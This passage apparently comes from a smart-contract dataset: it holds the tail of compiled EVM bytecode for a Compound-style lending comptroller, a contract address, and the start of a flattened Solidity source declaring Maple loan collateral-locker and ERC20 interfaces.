031633146118fe576040805162461bcd60e51b815260206004820152601d60248201527f6f6e6c792061646d696e206d617920737570706f7274206d61726b6574000000604482015290519081900360640190fd5b6001600160a01b03831660009081526009602052604090205460ff1615611964576040805162461bcd60e51b81526020600482015260156024820152741b585c9ad95d08185b1c9958591e481b1a5cdd1959605a1b604482015290519081900360640190fd5b826001600160a01b031663fe9c44ae6040518163ffffffff1660e01b815260040160206040518083038186803b15801561199d57600080fd5b505afa1580156119b1573d6000803e3d6000fd5b505050506040513d60208110156119c757600080fd5b50506040805160808101825260018082526000602083015291810182905290606082019084908111156119f657fe5b90526001600160a01b0384166000908152600960209081526040918290208351815490151560ff19918216178255918401516001808301919091559284015160038201805491151591909316178083556060850151919391929161ff001990911690610100908490811115611a6757fe5b0217905550905050611a7883614255565b604080516001600160a01b038516815290517fcf583bb0c569eb967f806b11601c4cb93c10310485c67add5f8362c2f212321f9181900360200190a160009392505050565b6000546001600160a01b03163314611b065760405162461bcd60e51b81526004018080602001828103825260268152602001806154cb6026913960400191505060405180910390fd5b601780546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517fb0d3622c24ac9bd967d8f37a25808b3e668fe7ed4f3075bbe82842d3e287c044929181900390910190a15050565b6000546001600160a01b03163314611bb25760405162461bcd60e51b81526004018080602001828103825260268152602001806154a56026913960400191505060405180910390fd5b601580546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517feda98690e518e9a05f8ec6837663e188211b2da8f4906648b323f2c1d4434e29929181900390910190a15050565b6001600160a01b03821660009081526009602052604081205460ff16611c6c5760405162461bcd60e51b81526004018080602001828103825260288152602001806153fd6028913960400191505060405180910390fd5b600a546001600160a01b0316331480611c8f57506000546001600160a01b031633145b611cca5760405162461bcd60e51b815260040180806020018281038252602781526020018061547e6027913960400191505060405180910390fd5b6000546001600160a01b0316331480611ce557506001821515145b611d2f576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b0383166000818152600b6020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260049083015263135a5b9d60e21b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150919050565b600a54600160a01b900460ff1681565b50505050565b435b90565b336001600160a01b03831614611e125760405162461bcd60e51b81526004018080602001828103825260248152602001806154256024913960400191505060405180910390fd5b6001600160a01b03821660009081526009602052604090205460ff1615611eee576001600160a01b0382166000908152600960205260409020600301805461010080820460ff16928492909161ff001990911690836001811115611e7257fe5b02179055507f98dee10aa964316ab03f317c320c9dafb4f29c7f9de510cb35196f727a4d2f0383828460405180846001600160a01b03166001600160a01b03168152602001836001811115611ec357fe5b60ff168152602001826001811115611ed757fe5b60ff168152602001935050505060405180910390a1505b5050565b505050505050565b60166020526000908152604090205481565b60065481565b600080600080600080611f278a8a8a8a614333565b925092509250826011811115611f3957fe5b95509093509150505b9450945094915050565b6001600160a01b0383166000908152600b602052604081205460ff1615611fab576040805162461bcd60e51b815260206004820152600e60248201526d1b5a5b9d081a5cc81c185d5cd95960921b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602052604090205460ff16611fd55760095b9050611897565b6001600160a01b0384166000908152601860205260409020548015612214576000856001600160a01b0316633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b15801561202f57600080fd5b505afa158015612043573d6000803e3d6000fd5b505050506040513d602081101561205957600080fd5b5051604080516308f7a6e360e31b815290519192506000916001600160a01b038916916347bd3718916004808301926020929190829003018186803b1580156120a157600080fd5b505afa1580156120b5573d6000803e3d6000fd5b505050506040513d60208110156120cb57600080fd5b505160408051638f840ddd60e01b815290519192506000916001600160a01b038a1691638f840ddd916004808301926020929190829003018186803b15801561211357600080fd5b505afa158015612127573d6000803e3d6000fd5b505050506040513d602081101561213d57600080fd5b5051905060008061214f85858561466b565b9092509050600082600381111561216257fe5b146121ab576040805162461bcd60e51b81526020600482015260146024820152731d1bdd185b14dd5c1c1b1a595cc819985a5b195960621b604482015290519081900360640190fd5b60006121b7828a6146b7565b905086811061220d576040805162461bcd60e51b815260206004820152601960248201527f6d61726b657420737570706c7920636170207265616368656400000000000000604482015290519081900360640190fd5b5050505050505b60005b95945050505050565b600080546001600160a01b0316331461223f5761184a6001600b6141ef565b6006805490839055604080518281526020810185905281517faeba5a6c40a8ac138134bff1aaa65debf25971188a58804bad717f82f0ec1316929181900390910190a16000611897565b6000546001600160a01b03163314806122ac57506017546001600160a01b031633145b6122e75760405162461bcd60e51b81526004018080602001828103825260358152602001806154496035913960400191505060405180910390fd5b828181158015906122f757508082145b612338576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081a5b9c1d5d609a1b604482015290519081900360640190fd5b60005b828110156124105784848281811061234f57fe5b905060200201356018600089898581811061236657fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055508686828181106123a657fe5b905060200201356001600160a01b03166001600160a01b03167f9e0ad9cee10bdf36b7fbd38910c0bdff0f275ace679b45b922381c2723d676f88686848181106123ec57fe5b905060200201356040518082815260200191505060405180910390a260010161233b565b50505050505050565b801580156124275750600082115b15611dc0576040805162461bcd60e51b815260206004820152601160248201527072656465656d546f6b656e73207a65726f60781b604482015290519081900360640190fd5b600d818154811061247a57fe5b6000918252602090912001546001600160a01b0316905081565b600080546001600160a01b031633146124b35761184a600160106141ef565b600480546001600160a01b038481166001600160a01b0319831681179093556040805191909216808252602082019390935281517fd52b2b9b7e9ee655fcb95d2e5b9e0c9f69e7ef2b8e9d2d0ea78402d576d22e22929181900390910190a16000611897565b505050565b600080600080600080612535876000806000614333565b92509250925082601181111561254757fe5b97919650945092505050565b600080546001600160a01b031633146125725761184a600160136141ef565b600a80546001600160a01b038481166001600160a01b0319831617928390556040805192821680845293909116602083015280517f0613b6ee6a04f0d09f390e4d9318894b9f6ac7fd83897cd8d18896ba579c401e9281900390910190a16000611897565b6001600160a01b03851660009081526009602052604081205460ff16158061261857506001600160a01b03851660009081526009602052604090205460ff16155b156126275760095b9050612217565b600080612633856146ed565b9193509091506000905082601181111561264957fe5b146126635781601181111561265a57fe5b92505050612217565b8061266f57600361265a565b6000886001600160a01b03166395dd9193876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156126c757600080fd5b505afa1580156126db573d6000803e3d6000fd5b505050506040513d60208110156126f157600080fd5b505160408051602081019091526005548152909150600090612713908361470d565b90508086111561272a576011945050505050612217565b5060009998505050505050505050565b6000546001600160a01b031633148061275d57506015546001600160a01b031633145b6127985760405162461bcd60e51b81526004018080602001828103825260358152602001806154f16035913960400191505060405180910390fd5b828181158015906127a857508082145b6127e9576040805162461bcd60e51b815260206004820152600d60248201526c1a5b9d985b1a59081a5b9c1d5d609a1b604482015290519081900360640190fd5b60005b828110156124105784848281811061280057fe5b905060200201356016600089898581811061281757fe5b905060200201356001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020016000208190555086868281811061285757fe5b905060200201356001600160a01b03166001600160a01b03167f6f1951b2aad10f3fc81b86d91105b413a5b3f847a34bbc5ce1904201b14438f686868481811061289d57fe5b905060200201356040518082815260200191505060405180910390a26001016127ec565b60005b83518110156116875760008482815181106128db57fe5b6020908102919091018101516001600160a01b0381166000908152600990925260409091205490915060ff16612950576040805162461bcd60e51b81526020600482015260156024820152741b585c9ad95d081b5d5cdd081899481b1a5cdd1959605a1b604482015290519081900360640190fd5b60018415151415612a0c5761296361533d565b6040518060200160405280836001600160a01b031663aa5af0fd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156129a757600080fd5b505afa1580156129bb573d6000803e3d6000fd5b505050506040513d60208110156129d157600080fd5b50519052905060005b8751811015612a0957612a01838983815181106129f357fe5b60200260200101518461472c565b6001016129da565b50505b60018315151415612a4a5760005b8651811015612a4857612a4082888381518110612a3357fe5b602002602001015161492f565b600101612a1a565b505b506001016128c4565b6010602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b600c6020526000908152604090205460ff1681565b600b6020526000908152604090205460ff1681565b6004546001600160a01b031681565b600a54600160b01b900460ff1681565b6011602052600090815260409020546001600160e01b03811690600160e01b900463ffffffff1682565b60096020526000908152604090208054600182015460039092015460ff91821692918181169161010090041684565b600a546000906001600160a01b0316331480612b4557506000546001600160a01b031633145b612b805760405162461bcd60e51b815260040180806020018281038252602781526020018061547e6027913960400191505060405180910390fd5b6000546001600160a01b0316331480612b9b57506001821515145b612be5576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b600a8054831515600160b01b810260ff60b01b1990921691909117909155604080516020810192909252808252600882820152672a3930b739b332b960c11b6060830152517fef159d9a32b2472e32b098f954f3ce62d232939f1c207070b584df1814de2de09181900360800190a15090565b6001600160a01b038082166000908152600960209081526040808320938616835260029093019052205460ff1692915050565b60075481565b732ba592f78db6436527729929aaf6c908497cb20090565b6ec097ce7bc90715b34b9f100000000081565b6017546001600160a01b031681565b600e5481565b60608060086000846001600160a01b03166001600160a01b03168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015612d4d57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612d2f575b5093979650505050505050565b600a54600160b81b900460ff1681565b6060600d805480602002602001604051908101604052809291908181526020018280548015612dc257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311612da4575b5050505050905090565b6001600160a01b03851660009081526019602052604090205460ff1615611687576040805162461bcd60e51b8152602060048201526013602482015272199b185cda1b1bd85b881a5cc81c185d5cd959606a1b604482015290519081900360640190fd5b6001600160a01b03821660009081526009602052604081205460ff16612e875760405162461bcd60e51b81526004018080602001828103825260288152602001806153fd6028913960400191505060405180910390fd5b600a546001600160a01b0316331480612eaa57506000546001600160a01b031633145b612ee55760405162461bcd60e51b815260040180806020018281038252602781526020018061547e6027913960400191505060405180910390fd5b6000546001600160a01b0316331480612f0057506001821515145b612f4a576040805162461bcd60e51b81526020600482015260166024820152756f6e6c792061646d696e2063616e20756e706175736560501b604482015290519081900360640190fd5b6001600160a01b038316600081815260196020908152604091829020805486151560ff199091168117909155825193845283830152606090830181905260099083015268233630b9b43637b0b760b91b6080830152517f71aec636243f9709bb0007ae15e9afb8150ab01716d75fd7573be5cc096e03b09181900360a00190a150919050565b601260209081526000928352604080842090915290825290205481565b6002546001600160a01b031681565b600a54600090600160b01b900460ff1615613053576040805162461bcd60e51b81526020600482015260126024820152711d1c985b9cd9995c881a5cc81c185d5cd95960721b604482015290519081900360640190fd5b6116c8858584614b48565b6060600082519050606081604051908082528060200260200182016040528015613092578160200160208202803883390190505b50905060005b828110156130ed5760008582815181106130ae57fe5b602002602001015190506130c28133614bf4565b60118111156130cd57fe5b8383815181106130d957fe5b602090810291909101015250600101613098565b509392505050565b600480546040805163fc57d4df60e01b81526001600160a01b038781169482019490945290516000938493849391169163fc57d4df91602480820192602092909190829003018186803b15801561314b57600080fd5b505afa15801561315f573d6000803e3d6000fd5b505050506040513d602081101561317557600080fd5b5051600480546040805163fc57d4df60e01b81526001600160a01b038a8116948201949094529051939450600093929091169163fc57d4df91602480820192602092909190829003018186803b1580156131ce57600080fd5b505afa1580156131e2573d6000803e3d6000fd5b505050506040513d60208110156131f857600080fd5b50519050811580613207575080155b1561321c57600d935060009250613315915050565b6000866001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561325757600080fd5b505afa15801561326b573d6000803e3d6000fd5b505050506040513d602081101561328157600080fd5b5051905061328d61533d565b6132b56040518060200160405280600654815250604051806020016040528087815250614d8f565b90506132bf61533d565b6132e5604051806020016040528086815250604051806020016040528086815250614d8f565b90506132ef61533d565b6132f98383614dce565b90506000613307828b61470d565b600099509750505050505050505b935093915050565b601360209081526000928352604080842090915290825290205481565b60146020526000908152604090205481565b600a54600090600160b81b900460ff16156133a0576040805162461bcd60e51b815260206004820152600f60248201526e1cd95a5e99481a5cc81c185d5cd959608a1b604482015290519081900360640190fd5b6001600160a01b03861660009081526009602052604090205460ff1615806133e157506001600160a01b03851660009081526009602052604090205460ff16155b156133ed576009612620565b846001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561342657600080fd5b505afa15801561343a573d6000803e3d6000fd5b505050506040513d602081101561345057600080fd5b505160408051635fe3b56760e01b815290516001600160a01b0392831692891691635fe3b567916004808301926020929190829003018186803b15801561349657600080fd5b505afa1580156134aa573d6000803e3d6000fd5b505050506040513d60208110156134c057600080fd5b50516001600160a01b0316146134d7576002612620565b60009695505050505050565b60196020526000908152604090205460ff1681565b6001600160a01b0383166000908152600c602052604081205460ff1615613559576040805162461bcd60e51b815260206004820152601060248201526f189bdc9c9bddc81a5cc81c185d5cd95960821b604482015290519081900360640190fd5b6001600160a01b03841660009081526009602052604090205460ff16613580576009611fce565b6001600160a01b038085166000908152600960209081526040808320938716835260029093019052205460ff1661367057336001600160a01b03851614613606576040805162461bcd60e51b815260206004820152601560248201527439b2b73232b91036bab9ba1031329031aa37b5b2b760591b604482015290519081900360640190fd5b60006136123385614bf4565b9050600081601181111561362257fe5b1461363b5780601181111561363357fe5b915050611897565b6001600160a01b038086166000908152600960209081526040808320938816835260029093019052205460ff1661366e57fe5b505b600480546040805163fc57d4df60e01b81526001600160a01b03888116948201949094529051929091169163fc57d4df91602480820192602092909190829003018186803b1580156136c157600080fd5b505afa1580156136d5573d6000803e3d6000fd5b505050506040513d60208110156136eb57600080fd5b50516136f857600d611fce565b6001600160a01b03841660009081526016602052604090205480156137e5576000856001600160a01b03166347bd37186040518163ffffffff1660e01b815260040160206040518083038186803b15801561375257600080fd5b505afa158015613766573d6000803e3d6000fd5b505050506040513d602081101561377c57600080fd5b50519050600061378c82866146b7565b90508281106137e2576040805162461bcd60e51b815260206004820152601960248201527f6d61726b657420626f72726f7720636170207265616368656400000000000000604482015290519081900360640190fd5b50505b6000806137f58688600088614333565b9193509091506000905082601181111561380b57fe5b146138265781601181111561381c57fe5b9350505050611897565b801561383357600461381c565b6000979650505050505050565b6008602052816000526040600020818154811061385957fe5b6000918252602090912001546001600160a01b03169150829050565b6003546001600160a01b031681565b600080546001600160a01b031633146138aa576138a3600160066141ef565b9050611510565b6001600160a01b0383166000908152600960205260409020805460ff166138df576138d7600960076141ef565b915050611510565b6138e761533d565b5060408051602081019091528381526138fe61533d565b506040805160208101909152670c7d713b49da0000815261391f8183614e0a565b1561393a57613930600660086141ef565b9350505050611510565b84158015906139c35750600480546040805163fc57d4df60e01b81526001600160a01b038a8116948201949094529051929091169163fc57d4df91602480820192602092909190829003018186803b15801561399557600080fd5b505afa1580156139a9573d6000803e3d6000fd5b505050506040513d60208110156139bf57600080fd5b5051155b156139d457613930600d60096141ef565b60018301805490869055604080516001600160a01b03891681526020810183905280820188905290517f70483e6592cd5182d45ac970e05bc62cdcc90e9d8ef2c2dbe686cf383bcd7fc59181900360600190a16000979650505050505050565b600a54600160a81b900460ff1681565b60055481565b604080516001808252818301909252606091602080830190803883390190505090508181600081518110613a7a57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050611eee81600d805480602002602001604051908101604052809291908181526020018280548015613af457602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613ad6575b50505050506001806128c1565b60006116cb848484614b48565b6000808290506000806000836001600160a01b031663c37f68e2336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060806040518083038186803b158015613b6f57600080fd5b505afa158015613b83573d6000803e3d6000fd5b505050506040513d6080811015613b9957600080fd5b508051602082015160409092015190945090925090508215613bec5760405162461bcd60e51b81526004018080602001828103825260258152602001806155266025913960400191505060405180910390fd5b8015613c0957613bfe600c60026141ef565b945050505050611826565b6000613c16873385614b48565b90508015613c3757613c2b600e600383614e11565b95505050505050611826565b6001600160a01b038716600090815260096020526040902060016003820154610100900460ff166001811115613c6957fe5b1415613ccf5760408051638b35776b60e01b815233600482015290516001600160a01b038a1691638b35776b91602480830192600092919082900301818387803b158015613cb657600080fd5b505af1158015613cca573d6000803e3d6000fd5b505050505b33600090815260028201602052604090205460ff16613cf75760009650505050505050611826565b3360009081526002820160209081526040808320805460ff191690556008825291829020805483518184028101840190945280845260609392830182828015613d6957602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311613d4b575b5050835193945083925060009150505b82811015613dbe57896001600160a01b0316848281518110613d9757fe5b60200260200101516001600160a01b03161415613db657809150613dbe565b600101613d79565b50818110613dc857fe5b3360009081526008602052604090208054600019018214613e4e57805481906000198101908110613df557fe5b9060005260206000200160009054906101000a90046001600160a01b0316818381548110613e1f57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055505b8054613e5e826000198301615350565b50604080516001600160a01b038c16815233602082015281517fe699a64c18b07ac5b7301aa273f36a2287239eb9501d81950672794afba29a0d929181900390910190a160009c9b505050505050505050505050565b6000546001600160a01b03163314613f13576040805162461bcd60e51b815260206004820152601c60248201527f6f6e6c792061646d696e206d61792064656c697374206d61726b657400000000604482015290519081900360640190fd5b6001600160a01b03811660009081526009602052604090205460ff16613f74576040805162461bcd60e51b81526020600482015260116024820152701b585c9ad95d081b9bdd081b1a5cdd1959607a1b604482015290519081900360640190fd5b806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015613fad57600080fd5b505afa158015613fc1573d6000803e3d6000fd5b505050506040513d6020811015613fd757600080fd5b50511561401e576040805162461bcd60e51b815260206004820152601060248201526f6d61726b6574206e6f7420656d70747960801b604482015290519081900360640190fd5b806001600160a01b031663fe9c44ae6040518163ffffffff1660e01b815260040160206040518083038186803b15801561405757600080fd5b505afa15801561406b573d6000803e3d6000fd5b505050506040513d602081101561408157600080fd5b50506001600160a01b0381166000908152600960205260408120805460ff1916815560018101829055600301805461ffff191690555b600d548110156141a057816001600160a01b0316600d82815481106140d857fe5b6000918252602090912001546001600160a01b0316141561419857600d8054600019810190811061410557fe5b600091825260209091200154600d80546001600160a01b03909216918390811061412b57fe5b600091825260209091200180546001600160a01b0319166001600160a01b0392909216919091179055600d8054600019810190811061416657fe5b600091825260209091200180546001600160a01b0319169055600d805490614192906000198301615350565b506141a0565b6001016140b7565b50604080516001600160a01b038316815290517f9710c341258431a6380fd1febe8985e6b6221e8398c287ea971f2ba85a6e1a109181900360200190a150565b6000546001600160a01b031681565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa083601181111561421e57fe5b83601381111561422a57fe5b604080519283526020830191909152600082820152519081900360600190a182601181111561189757fe5b60005b600d548110156142e057816001600160a01b0316600d828154811061427957fe5b6000918252602090912001546001600160a01b031614156142d8576040805162461bcd60e51b81526020600482015260146024820152731b585c9ad95d08185b1c9958591e48185919195960621b604482015290519081900360640190fd5b600101614258565b50600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000614340615374565b6001600160a01b038816600090815260086020908152604080832080548251818502810185019093528083526060938301828280156143a857602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161438a575b50939450600093505050505b815181101561462c5760008282815181106143cb57fe5b60200260200101519050806001600160a01b031663c37f68e28d6040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060806040518083038186803b15801561442b57600080fd5b505afa15801561443f573d6000803e3d6000fd5b505050506040513d608081101561445557600080fd5b508051602082015160408084015160609485015160808b015293890193909352918701919091529350831561449a5750600f965060009550859450611f429350505050565b60408051602080820183526001600160a01b0380851660008181526009845285902060010154845260c08a01939093528351808301855260808a0151815260e08a015260048054855163fc57d4df60e01b815291820194909452935192169263fc57d4df9260248083019392829003018186803b15801561451a57600080fd5b505afa15801561452e573d6000803e3d6000fd5b505050506040513d602081101561454457600080fd5b505160a086018190526145675750600d965060009550859450611f429350505050565b604080516020810190915260a0860151815261010086015260c085015160e08601516145a19161459691614d8f565b866101000151614d8f565b6101208601819052604086015186516145bb929190614e77565b8552610100850151606086015160208701516145d8929190614e77565b60208601526001600160a01b03818116908c161415614623576146058561012001518b8760200151614e77565b6020860181905261010086015161461d918b90614e77565b60208601525b506001016143b4565b506020830151835111156146525750506020810151905160009450039150829050611f42565b5050805160209091015160009450849350039050611f42565b60008060008061467b8787614e9f565b9092509050600082600381111561468e57fe5b1461469f5750915060009050613315565b6146a98186614ec8565b935093505050935093915050565b60006118978383604051806040016040528060118152602001706164646974696f6e206f766572666c6f7760781b815250614eeb565b6000806000614700846000806000614333565b9250925092509193909250565b600061471761533d565b6147218484614f86565b90506116cb81614fa7565b6001600160a01b0380841660009081526013602090815260408083209386168352929052205461475b57612519565b6001600160a01b038316600090815260116020526040902061477b61533d565b50604080516020810190915281546001600160e01b0316815261479c61533d565b5060408051602080820183526001600160a01b0380891660009081526013835284812091891680825282845294812080548552865195909152915291909155805115611ef2576147ea61533d565b6147f48383614fb6565b90506000614883886001600160a01b03166395dd9193896040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561485157600080fd5b505afa158015614865573d6000803e3d6000fd5b505050506040513d602081101561487b57600080fd5b505187614fdb565b905060006148918284614ff9565b6001600160a01b038916600090815260146020526040812054919250906148b890836146b7565b90506148c48982615028565b6001600160a01b03808b1660008181526014602090815260409182902094909455895181518781529485015280519193928e16927f1fc3ecc087d8d2d15e23d0032af5a47059c3892d003d8e139fdcb6bb327c99a6929081900390910190a350505050505050505050565b6001600160a01b0380831660009081526012602090815260408083209385168352929052205461495e57611eee565b6001600160a01b038216600090815260106020526040902061497e61533d565b50604080516020810190915281546001600160e01b0316815261499f61533d565b5060408051602080820183526001600160a01b038088166000908152601283528481209188168082528284529481208054855286519590915291529190915580511580156149ed5750815115155b15614a05576ec097ce7bc90715b34b9f100000000081525b614a0d61533d565b614a178383614fb6565b90506000866001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015614a7157600080fd5b505afa158015614a85573d6000803e3d6000fd5b505050506040513d6020811015614a9b57600080fd5b505190506000614aab8284614ff9565b6001600160a01b03881660009081526014602052604081205491925090614ad290836146b7565b9050614ade8882615028565b6001600160a01b03808a1660008181526014602090815260409182902094909455895181518781529485015280519193928d16927f2caecd17d02f56fa897705dcc740da2d237c373f70686f4e0d9bd3bf0400ea7a929081900390910190a3505050505050505050565b6001600160a01b03831660009081526009602052604081205460ff16614b6f576009611fce565b6001600160a01b038085166000908152600960209081526040808320938716835260029093019052205460ff16614ba7576000611fce565b600080614bb78587866000614333565b91935090915060009050826011811115614bcd57fe5b14614be757816011811115614bde57fe5b92505050611897565b80156134d7576004614bde565b6001600160a01b0382166000908152600960205260408120805460ff16614c1f576009915050611510565b60016003820154610100900460ff166001811115614c3957fe5b1415614cc457836001600160a01b0316638897bd85846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015614c9757600080fd5b505af1158015614cab573d6000803e3d6000fd5b505050506040513d6020811015614cc157600080fd5b50505b6001600160a01b038316600090815260028201602052604090205460ff16151560011415614cf6576000915050611510565b6001600160a01b0380841660008181526002840160209081526040808320805460ff19166001908117909155600883528184208054918201815584529282902090920180549489166001600160a01b031990951685179055815193845283019190915280517f3ab23ab0d51cccc0c3085aec51f99228625aa1a922b3a8ca89a26b0f2027a1a59281900390910190a15060009392505050565b614d9761533d565b6040518060200160405280670de0b6b3a7640000614dbd8660000151866000015161515c565b81614dc457fe5b0490529392505050565b614dd661533d565b6040518060200160405280614e01614dfa8660000151670de0b6b3a764000061515c565b855161519e565b90529392505050565b5190511090565b60007f45b96fe442630264581b197e84bbada861235052c5a1aadfff9ea4e40a969aa0846011811115614e4057fe5b846013811115614e4c57fe5b604080519283526020830191909152818101859052519081900360600190a18360118111156116cb57fe5b6000614e8161533d565b614e8b8585614f86565b9050612217614e9982614fa7565b846146b7565b600080838301848110614eb757600092509050614ec1565b5060029150600090505b9250929050565b600080838311614edf575060009050818303614ec1565b50600390506000614ec1565b60008383018285821015614f7d5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614f42578181015183820152602001614f2a565b50505050905090810190601f168015614f6f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50949350505050565b614f8e61533d565b6040518060200160405280614e0185600001518561515c565b51670de0b6b3a7640000900490565b614fbe61533d565b6040518060200160405280614e01856000015185600001516151d1565b6000611897614ff284670de0b6b3a764000061515c565b835161519e565b60006ec097ce7bc90715b34b9f100000000061501984846000015161515c565b8161502057fe5b049392505050565b6000811561515657600061503a612c91565b604080516370a0823160e01b815230600482015290519192506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561508657600080fd5b505afa15801561509a573d6000803e3d6000fd5b505050506040513d60208110156150b057600080fd5b5051905080841161515357816001600160a01b031663a9059cbb86866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561511b57600080fd5b505af115801561512f573d6000803e3d6000fd5b505050506040513d602081101561514557600080fd5b506000935061151092505050565b50505b50919050565b600061189783836040518060400160405280601781526020017f6d756c7469706c69636174696f6e206f766572666c6f7700000000000000000081525061520b565b600061189783836040518060400160405280600e81526020016d646976696465206279207a65726f60901b815250615281565b60006118978383604051806040016040528060158152602001747375627472616374696f6e20756e646572666c6f7760581b8152506152e3565b6000831580615218575082155b1561522557506000611897565b8383028385828161523257fe5b04148390614f7d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315614f42578181015183820152602001614f2a565b600081836152d05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315614f42578181015183820152602001614f2a565b508284816152da57fe5b04949350505050565b600081848411156153355760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315614f42578181015183820152602001614f2a565b505050900390565b6040518060200160405280600081525090565b815481835581811115612519576000838152602090206125199181019083016153de565b6040518061014001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016153b261533d565b81526020016153bf61533d565b81526020016153cc61533d565b81526020016153d961533d565b905290565b611dc891905b808211156153f857600081556001016153e4565b509056fe63616e6e6f742070617573652061206d61726b65742074686174206973206e6f74206c69737465646f6e6c792063546f6b656e20636f756c6420757064617465206974732076657273696f6e6f6e6c792061646d696e206f7220737570706c792063617020677561726469616e2063616e2073657420737570706c7920636170736f6e6c7920706175736520677561726469616e20616e642061646d696e2063616e2070617573656f6e6c792061646d696e2063616e2073657420626f72726f772063617020677561726469616e6f6e6c792061646d696e2063616e2073657420737570706c792063617020677561726469616e6f6e6c792061646d696e206f7220626f72726f772063617020677561726469616e2063616e2073657420626f72726f772063617073657869744d61726b65743a206765744163636f756e74536e617073686f74206661696c65646f6e6c7920756e6974726f6c6c65722061646d696e2063616e206368616e676520627261696e73a265627a7a723158209698c9fd62869cbf9a3fc9691a8e5f071dbd07a5e91306766a86828794c9aed264736f6c63430005110032
[ 0, 7, 24, 30, 15, 17, 9, 12, 16, 5, 18 ]
0xf1cd6920e94f97e1fdCbf145523472249145E29B
// SPDX-License-Identifier: AGPL-3.0-or-later // hevm: flattened sources of contracts/Loan.sol pragma solidity =0.6.11 >=0.6.0 <0.8.0 >=0.6.2 <0.8.0; ////// contracts/interfaces/ICollateralLocker.sol /* pragma solidity 0.6.11; */ interface ICollateralLocker { function collateralAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; } ////// contracts/interfaces/ICollateralLockerFactory.sol /* pragma solidity 0.6.11; */ interface ICollateralLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// contracts/interfaces/IERC20Details.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ interface IERC20Details is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); } 